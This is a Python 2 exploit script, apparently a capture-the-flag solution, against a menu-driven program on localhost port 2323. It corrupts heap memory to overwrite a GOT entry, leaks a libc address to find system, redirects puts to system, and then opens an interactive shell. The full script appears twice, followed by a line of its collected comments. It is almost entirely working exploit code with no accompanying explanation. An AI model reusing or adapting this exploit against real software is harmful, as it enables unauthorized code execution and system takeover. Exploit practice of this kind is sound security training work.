import socket
import telnetlib
import struct
from hexdump import hexdump

def q(a):
  return struct.pack("I", a)

def interact():
  t = telnetlib.Telnet()
  t.sock = s
  t.interact()

def r_until(st):
  ret = ""
  while st not in ret:
    ret += s.recv(8192)
  return ret
    
s = socket.create_connection(("localhost", 2323))
print r_until("option")
s.send("1\n16\n1\n16\n1\n16\n")
print r_until("option")

# 0x61616165 <-- 0x51515151
#dat = "a"*0x18+q(0x25)+q(0x51515151)+q(0x61616161)

# 0x804a06C <-- 0x804A004
dat = "/bin/sh\x00"+"a"*0x10+q(0x25)+q(0x804A004)+q(0x804a06C-4)

s.send("3\n0\n100\n")
print r_until("your data.")
s.send(dat)
print r_until("option")
s.send("2\n1\n")
print r_until("option")
s.send("4\n3\n")
dat = r_until("option")

fflush = struct.unpack("I", dat.split("id.\n")[1][0:4])[0]
libc_base = fflush - 0x657a0
system = libc_base + 0x3f430
print hex(libc_base)

# phase 2, change puts to be system
s.send("3\n3\n100\n")
print r_until("your data.")
s.send(q(fflush)+q(system))

# puts is broken here
s.send("4\n0\n")

print "** interact **"
interact()


import socket
import telnetlib
import struct
from hexdump import hexdump

def q(a):
  return struct.pack("I", a)

def interact():
  t = telnetlib.Telnet()
  t.sock = s
  t.interact()

def r_until(st):
  ret = ""
  while st not in ret:
    ret += s.recv(8192)
  return ret
    
s = socket.create_connection(("localhost", 2323))
print r_until("option")
s.send("1\n16\n1\n16\n1\n16\n")
print r_until("option")

# 0x61616165 <-- 0x51515151
#dat = "a"*0x18+q(0x25)+q(0x51515151)+q(0x61616161)

# 0x804a06C <-- 0x804A004
dat = "/bin/sh\x00"+"a"*0x10+q(0x25)+q(0x804A004)+q(0x804a06C-4)

s.send("3\n0\n100\n")
print r_until("your data.")
s.send(dat)
print r_until("option")
s.send("2\n1\n")
print r_until("option")
s.send("4\n3\n")
dat = r_until("option")

fflush = struct.unpack("I", dat.split("id.\n")[1][0:4])[0]
libc_base = fflush - 0x657a0
system = libc_base + 0x3f430
print hex(libc_base)

# phase 2, change puts to be system
s.send("3\n3\n100\n")
print r_until("your data.")
s.send(q(fflush)+q(system))

# puts is broken here
s.send("4\n0\n")

print "** interact **"
interact()


# 0x61616165 <-- 0x51515151 #dat = "a"*0x18+q(0x25)+q(0x51515151)+q(0x61616161) # 0x804a06C <-- 0x804A004 # phase 2, change puts to be system # puts is broken here